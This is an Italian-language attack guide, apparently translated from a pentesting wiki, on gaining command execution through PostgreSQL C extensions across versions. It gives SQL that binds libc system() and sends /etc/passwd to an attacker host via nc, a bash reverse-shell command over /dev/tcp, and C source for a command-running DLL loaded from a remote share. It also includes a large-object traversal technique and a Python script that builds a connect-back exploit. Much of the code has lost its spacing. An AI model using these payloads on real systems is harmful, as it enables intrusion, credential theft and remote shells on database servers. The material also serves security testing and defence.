PostgreSQL è stato sviluppato con l'estensibilità come caratteristica fondamentale, permettendo di integrare senza problemi le estensioni come se fossero funzionalità integrate. Queste estensioni, essenzialmente librerie scritte in C, arricchiscono il database con funzioni, operatori o tipi aggiuntivi.
A partire dalla versione 8.1, viene imposto un requisito specifico sulle librerie di estensione: devono essere compilate con un'intestazione speciale. Senza questo, PostgreSQL non le eseguirà, garantendo che vengano utilizzate solo estensioni compatibili e potenzialmente sicure.
L'esecuzione di comandi di sistema da PostgreSQL 8.1 e versioni precedenti è un processo che è stato chiaramente documentato ed è semplice. È possibile utilizzare questo: modulo Metasploit.
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECTsystem('cat /etc/passwd | nc <attacker IP> <attacker port>');# You can also create functions toopenand write filesCREATE OR REPLACEFUNCTIONopen(cstring, int, int) RETURNSintAS'/lib/libc.so.6', 'open'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONwrite(int, cstring, int) RETURNSintAS'/lib/libc.so.6', 'write'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONclose(int) RETURNSintAS'/lib/libc.so.6', 'close'LANGUAGE'C' STRICT;
Scrivere un file binario da base64
Per scrivere un binario in un file in postgres potresti dover usare base64, questo sarà utile a tal proposito:
CREATE OR REPLACEFUNCTIONwrite_to_file(fileTEXT, s TEXT) RETURNSintAS$$DECLAREfh int;s int;w bytea;i int;BEGINSELECTopen(textout(file)::cstring, 522, 448) INTO fh;IF fh <=2THENRETURN1;ENDIF;SELECT decode(s, 'base64') INTO w;i :=0;LOOPEXIT WHEN i >= octet_length(w);SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;IF rs <0THENRETURN2;ENDIF;i := i +1;ENDLOOP;SELECTclose(fh) INTO rs;RETURN0;END;$$ LANGUAGE'plpgsql';
Tuttavia, quando tentato su versioni superiori è stato mostrato il seguente errore:
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic blockHINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
Per garantire che un file oggetto caricato dinamicamente non venga caricato in un server incompatibile, PostgreSQL controlla che il file contenga un "magic block" con i contenuti appropriati. Questo consente al server di rilevare incompatibilità evidenti, come codice compilato per una versione principale diversa di PostgreSQL. Un magic block è richiesto a partire da PostgreSQL 8.2. Per includere un magic block, scrivi questo in uno (e solo uno) dei file sorgente del modulo, dopo aver incluso l'intestazione fmgr.h:
#ifdef PG_MODULE_MAGICPG_MODULE_MAGIC;#endif
Dalla versione 8.2 di PostgreSQL, il processo per un attaccante di sfruttare il sistema è stato reso più impegnativo. L'attaccante deve utilizzare una libreria già presente sul sistema o caricare una libreria personalizzata. Questa libreria personalizzata deve essere compilata contro la versione principale compatibile di PostgreSQL e deve includere un "magic block" specifico. Questa misura aumenta significativamente la difficoltà di sfruttare i sistemi PostgreSQL, poiché richiede una comprensione più profonda dell'architettura del sistema e della compatibilità delle versioni.
Compila la libreria
Ottieni la versione di PostgreSQL con:
SELECTversion();PostgreSQL 9.6.3on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.020170516, 64-bit
Per compatibilità, è essenziale che le versioni principali siano allineate. Pertanto, compilare una libreria con qualsiasi versione della serie 9.6.x dovrebbe garantire un'integrazione riuscita.
Poi carica la libreria compilata ed esegui comandi con:
CREATEFUNCTIONsys(cstring) RETURNSintAS'/tmp/pg_exec.so','pg_exec'LANGUAGECSTRICT;SELECTsys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');#Notice the double single quotes are needed to scape the qoutes
Puoi trovare questa libreria precompilata per diverse versioni di PostgreSQL e puoi anche automatizzare questo processo (se hai accesso a PostgreSQL) con:
Il seguente DLL prende come input il nome del binario e il numero di volte che vuoi eseguirlo e lo esegue:
#include"postgres.h"#include<string.h>#include"fmgr.h"#include"utils/geo_decls.h"#include<stdio.h>#include"utils/builtins.h"#ifdefPG_MODULE_MAGICPG_MODULE_MAGIC;#endif/* Add a prototype marked PGDLLEXPORT */PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);PG_FUNCTION_INFO_V1(pgsql_exec);/* this function launches the executable passed in as the first parameterin a FOR loop bound by the second parameter that is also passed*/Datumpgsql_exec(PG_FUNCTION_ARGS){/* convert text pointer to C string */#defineGET_STR(textp) DatumGetCString(DirectFunctionCall1(textout,PointerGetDatum(textp)))/* retrieve the second argument that is passed to the function (an integer)that will serve as our counter limit*/int instances =PG_GETARG_INT32(1);for (int c =0; c < instances; c++) {/*launch the process passed in the first parameter*/ShellExecute(NULL,"open", GET_STR(PG_GETARG_TEXT_P(0)),NULL,NULL,1);}PG_RETURN_VOID();}
Puoi indicare a questo DLL quale binario eseguire e il numero di volte da eseguire, in questo esempio eseguirà calc.exe 2 volte:
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECTremote_exec('calc.exe',2);DROPFUNCTIONremote_exec(text,integer);
Nota come in questo caso il codice malevolo si trova all'interno della funzione DllMain. Questo significa che in questo caso non è necessario eseguire la funzione caricata in postgresql, basta caricare il DLL per eseguire la reverse shell:
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
Il progetto PolyUDF è anche un buon punto di partenza con il progetto completo di MS Visual Studio e una libreria pronta all'uso (inclusi: command eval, exec e cleanup) con supporto multiversione.
RCE nelle ultime versioni di PostgreSQL
Nelle ultime versioni di PostgreSQL, sono state imposte restrizioni in cui il superuser è proibito dal caricare file di librerie condivise tranne che da directory specifiche, come C:\Program Files\PostgreSQL\11\lib su Windows o /var/lib/postgresql/11/lib su sistemi *nix. Queste directory sono protette contro le operazioni di scrittura sia dagli account NETWORK_SERVICE che postgres.
Nonostante queste restrizioni, è possibile per un superuser autenticato del database scrivere file binari nel filesystem utilizzando "oggetti di grandi dimensioni". Questa capacità si estende alla scrittura all'interno della directory C:\Program Files\PostgreSQL\11\data, che è essenziale per operazioni di database come l'aggiornamento o la creazione di tabelle.
Una vulnerabilità significativa deriva dal comando CREATE FUNCTION, che permette la traversata delle directory nella directory dei dati. Di conseguenza, un attaccante autenticato potrebbe sfruttare questa traversata per scrivere un file di libreria condivisa nella directory dei dati e poi caricarlo. Questo exploit consente all'attaccante di eseguire codice arbitrario, ottenendo l'esecuzione di codice nativo sul sistema.
Flusso di attacco
Prima di tutto, è necessario utilizzare oggetti di grandi dimensioni per caricare il dll. Puoi vedere come farlo qui:
Una volta che hai caricato l'estensione (con il nome di poc.dll per questo esempio) nella directory dei dati, puoi caricarla con:
create function connect_back(text, integer) returns void as '../data/poc','connect_back' language C strict;select connect_back('192.168.100.54',1234);
Nota che non è necessario aggiungere l'estensione .dll poiché la funzione create la aggiungerà.
Per ulteriori informazioni leggi lapubblicazione originale qui.
In quella pubblicazione questo era ilcodice usato per generare l'estensione postgres (per imparare a compilare un'estensione postgres leggi una delle versioni precedenti).
Nella stessa pagina è stato fornito questo exploit per automatizzare questa tecnica:
#!/usr/bin/env python3import sysiflen(sys.argv)!=4:print("(+) usage %s <connectback> <port> <dll/so>"% sys.argv[0])print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll"% sys.argv[0])sys.exit(1)host = sys.argv[1]port =int(sys.argv[2])lib = sys.argv[3]withopen(lib, "rb")as dll:d = dll.read()sql ="select lo_import('C:/Windows/win.ini', 1337);"for i inrange(0, len(d)//2048):start = i *2048end = (i+1) *2048if i ==0:sql +="update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;"% (i, d[start:end].hex())else:sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d)%2048) !=0:end = (i+1) *2048sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
sql +="select lo_export(1337, 'poc.dll');"sql +="create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"sql +="select connect_back('%s', %d);"% (host, port)print("(+) building poc.sql file")withopen("poc.sql", "w")as sqlfile:sqlfile.write(sql)print("(+) run poc.sql in PostgreSQL using the superuser")print("(+) for a db cleanup only, run the following sql:")print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")print(" drop function connect_back(text, integer);")